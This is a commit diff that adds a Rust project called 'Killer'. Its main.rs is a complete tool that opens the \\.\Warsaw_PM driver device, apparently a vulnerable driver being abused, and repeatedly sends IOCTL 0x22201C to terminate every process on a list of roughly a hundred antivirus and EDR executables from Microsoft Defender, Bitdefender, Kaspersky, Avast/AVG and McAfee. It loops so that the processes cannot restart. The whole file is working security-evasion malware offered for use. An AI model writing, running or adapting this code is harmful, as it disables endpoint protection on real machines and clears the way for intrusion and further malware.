Add files via upload

Cargo.lock

@@ -0,0 +1,39 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 4
+
+[[package]]
+name = "Killer"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "winapi",
+]
+
+[[package]]
+name = "anyhow"
+version = "1.0.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a23eb6b1614318a8071c9b2521f36b424b2c83db5eb3a0fead4a6c0809af6e61"
+
+[[package]]
+name = "winapi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+dependencies = [
+ "winapi-i686-pc-windows-gnu",
+ "winapi-x86_64-pc-windows-gnu",
+]
+
+[[package]]
+name = "winapi-i686-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+
+[[package]]
+name = "winapi-x86_64-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"

Cargo.toml

@@ -0,0 +1,12 @@
+[package]
+name = "Killer"
+version = "0.1.0"
+edition = "2024"
+
+[dependencies]
+
+winapi = { version = "0.3", features = ["winnt", "tlhelp32", "handleapi", "ioapiset", "fileapi", "errhandlingapi"] }
+anyhow = "1.0"
+
+
+

src/main.rs

@@ -0,0 +1,269 @@
+use anyhow::{Context, Result, bail};
+use std::ptr;
+use std::ffi::CStr;
+use std::mem::size_of;
+use std::os::windows::ffi::OsStrExt;
+use std::ffi::OsStr;
+use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
+use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS};
+use winapi::um::errhandlingapi::GetLastError;
+use winapi::um::winnt::{GENERIC_WRITE, GENERIC_READ, HANDLE};
+use winapi::um::fileapi::{CreateFileW, OPEN_EXISTING};
+use winapi::shared::minwindef::LPVOID;
+use winapi::um::ioapiset::DeviceIoControl;
+
+
+const PROCESSES: &[&str] = &[
+    // Microsoft Defender
+    "MsMpEng.exe",
+    "MsMpEngCP.exe",
+    "MpCmdRun.exe",
+    "NisSrv.exe",
+    "SecurityHealthService.exe",
+    "SecurityHealthHost.exe",
+    "SecurityHealthSystray.exe",
+    "MsSense.exe",
+    "MsSecFw.exe",
+    "MsMpSigUpdate.exe",
+    "MsMpGfx.exe",
+    "MpDwnLd.exe",
+    "MpSigStub.exe",
+    "MsMpCom.exe",
+    "MSASCui.exe",
+    "WindowsDefender.exe",
+    "WdNisSvc.exe",
+    "WinDefend.exe",
+    
+    // Bitdefender
+    "vsserv.exe",
+    "bdservicehost.exe",
+    "bdagent.exe",
+    "bdwtxag.exe",
+    "updatesrv.exe",
+    "bdredline.exe",
+    "bdscan.exe",
+    "seccenter.exe",
+    "bdsubwiz.exe",
+    "bdmcon.exe",
+    "bdtws.exe",
+    "bdntwrk.exe",
+    "bdfwfpf.exe",
+    "bdrepair.exe",
+    "bdwtxcfg.exe",
+    "bdamsi.exe",
+    "bdscriptm.exe",
+    "bdfw.exe",
+    "bdsandbox.exe",
+    "bdenterpriseagent.exe",
+    "bdappspider.exe",
+    
+    // Kaspersky
+    "avp.exe",
+    "avpui.exe",
+    "klnagent.exe",
+    "klnsacsvc.exe",
+    "klnfw.exe",
+    "kavfs.exe",
+    "kavfsslp.exe",
+    "kavfsgt.exe",
+    "kmon.exe",
+    "ksde.exe",
+    "ksdeui.exe",
+    "kavtray.exe",
+    "kpf4ss.exe",
+    "kpm.exe",
+    "ksc.exe",
+    "klnupdate.exe",
+    
+    // Avast/AVG
+    "AvastSvc.exe",
+    "AvastUI.exe",
+    "AvastBrowserSecurity.exe",
+    "aswEngSrv.exe",
+    "aswToolsSvc.exe",
+    "aswidsagent.exe",
+    "avg.exe",
+    "avgui.exe",
+    "avgnt.exe",
+    "avgsvc.exe",
+    "avgidsagent.exe",
+    "avgemc.exe",
+    "avgmfapx.exe",
+    "avgsvca.exe",
+    "avgwdsvc.exe",
+    "avgupsvc.exe",
+    
+    // McAfee
+    "McAfeeService.exe",
+    "McAPExe.exe",
+    "mcshield.exe",
+    "mfemms.exe",
+    "mfeann.exe",
+    "mfefire.exe",
+    "mfemactl.exe",
+    "mfehcs.exe",
+    "mfemmseng.exe",
+    "mfevtps.exe",
+    "mcagent.exe",
+    "mctray.exe",
+    "mcuicnt.exe",
+    "mcmscsvc.exe",
+    "mcnasvc.exe",
+    "mcpromgr.exe",
+    "mcods.exe",
+    "mctask.exe",
+    "mcsacore.exe",
+    "mcscript.exe",
+    "mfeffcoreservice.exe",
+    "mfetp.exe",
+    "mfevtp.exe",
+];
+
+
+fn pid_by_name(name: &str) -> Result<u32> {
+    unsafe {
+        let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+
+        if snapshot == INVALID_HANDLE_VALUE {
+            bail!("[!]  Failed to create process snapshot");
+        }
+
+        let mut entry: PROCESSENTRY32 = std::mem::zeroed();
+        entry.dwSize = size_of::<PROCESSENTRY32>() as u32;
+
+        if Process32First(snapshot, &mut entry) == 0 {
+            CloseHandle(snapshot);
+            bail!("[!] Failed to get first process");
+        }
+
+        loop {
+            let exe_name = CStr::from_ptr(entry.szExeFile.as_ptr()).to_string_lossy();
+
+            if exe_name.eq_ignore_ascii_case(name) {
+                let pid = entry.th32ProcessID;
+                CloseHandle(snapshot);
+                return Ok(pid);
+            }
+
+            if Process32Next(snapshot, &mut entry) == 0 {break}
+        }
+
+        CloseHandle(snapshot);
+        bail!("[!]  Process '{}' not found", name);
+    }
+}
+
+
+
+struct Driver {
+    hDriver: HANDLE, 
+}
+
+impl Driver {
+    /// Initializing the driver 
+    
+    fn Initialize() -> Result<Self> {
+
+        let device_name: Vec<u16> = OsStr::new(r"\\.\Warsaw_PM")
+            .encode_wide()
+            .chain(Some(0))
+            .collect();
+
+        let result =  unsafe {
+            CreateFileW(
+                device_name.as_ptr(),
+                GENERIC_READ | GENERIC_WRITE,
+                0,
+                ptr::null_mut(),
+                OPEN_EXISTING,
+                0,
+                ptr::null_mut()
+            )};
+        
+        if result == INVALID_HANDLE_VALUE {
+            bail!("[!] Failed to initialize the driver!");
+            }
+
+        println!("[+] Driver initialized successfully!");
+
+        Ok(Self{hDriver: result})
+    }
+
+    fn ExecuteIOCTL(&self, pid: u32) -> Result<()> {
+    
+        let mut buffer = vec![0u8; 1036];
+        
+        // WRITE THE PID TO FIRST 4 BYTES
+        buffer[0..4].copy_from_slice(&pid.to_le_bytes());
+        
+        let mut bytes_returned = 0;
+        
+        let result = unsafe {
+            DeviceIoControl(
+                self.hDriver,
+                0x22201C,
+                buffer.as_mut_ptr() as LPVOID, 
+                1036,
+                ptr::null_mut(),        
+                0,
+                &mut bytes_returned,
+                ptr::null_mut(),
+            )
+        };
+        
+        if result == 0 {
+            
+            let error_code = unsafe { GetLastError() };
+            unsafe {CloseHandle(self.hDriver)};
+            bail!("[!] DeviceIoControl failed! Error code: 0x{:08X}", error_code);
+
+        }
+        
+        println!("[+] IOCTL 0x22201C sent for PID: {}", pid);
+        Ok(())  
+    }
+
+    fn Cleanup(&self) -> Result<()> {
+        
+        let result = unsafe {CloseHandle(self.hDriver)};
+
+        if result == 0 {
+            bail!("[!] Failed to close the driver's handle!!")
+        }
+        
+        println!("[*] Driver Handle closed!");
+        
+        Ok(())
+    }
+
+}
+
+
+fn main() -> Result<()> {
+
+    let hDriver = Driver::Initialize()?;
+    println!("[+] Driver ready for operation, Handle: {:p}", &hDriver);
+    println!("[*] Scanning for target processes...");
+    let mut found_processes: Vec<(&str, u32)> = Vec::new();
+    
+    // Loop to prevent processes for restarting
+
+    loop {
+        for p in PROCESSES {
+            if let Ok(pid) = pid_by_name(p) {
+                found_processes.push((p, pid));
+                println!("  -- Found {} - PID: {}", p, pid, );
+                println!("[*] Killing {} ...", p);
+                let result = hDriver.ExecuteIOCTL(pid)?;
+
+            }
+        }
+
+    }
+
+    println!("[*] Cleaning up ...");
+    hDriver.Cleanup()?;
+
+    Ok(())
+}
+